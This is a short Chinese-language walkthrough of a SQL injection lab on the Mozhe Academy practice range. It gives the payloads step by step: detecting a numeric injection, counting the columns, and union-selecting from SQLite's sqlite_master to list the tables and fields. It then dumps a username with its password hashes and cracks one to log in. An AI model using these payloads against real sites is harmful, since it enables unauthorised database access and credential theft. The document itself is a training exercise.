打开靶场(以墨者学院为例)
?id=1 and 1=1 页面正常
?id=1 and 1=2 页面异常
存在数字型注入漏洞
order by 1--》4 页面正常
order by 5 页面没内容
说明字段数为4,得到sql:
?id=1 union select 1,2,3,4
SQLite中有一张名为sqlite_master的系统表,专门记录曾经创建sql的语句,利用它就可以进行注入漏洞的实现
?id=1 union select 1,group_concat(name),3,4 from sqlite_master where type='table'
得到三张表:WSTMart_reg,sqlite_sequence,notice_sybase
sqlite_sequence是SQLite的系统表,所以排除
notice_sybase存放的是通告信息,故排除
因此得到WSTMart_reg表
通过如下sql获取字段名:
?id=1 union select 1,group_concat(sql),3,4 from sqlite_master where type='table' and name='WSTMart_reg'
于是获得字段:name、password
有了表名,字段名,接下来就可以查询数据了:
?id=1 union select 1,group_concat(name),group_concat(password),4 from WSTMart_reg
得到一个用户名和两个密码:
name:mozhe
password-1:72e557eb8f90c3ab79429c04263c64f2
password-2:9bbe61374985c7b030553240be1a0cd6
把两个密码拿去解密,得到:
password-1:undefined
password-2:152831
把两个密码分别带入登录,只有第二个是正确的,成功获得key
本次注入成功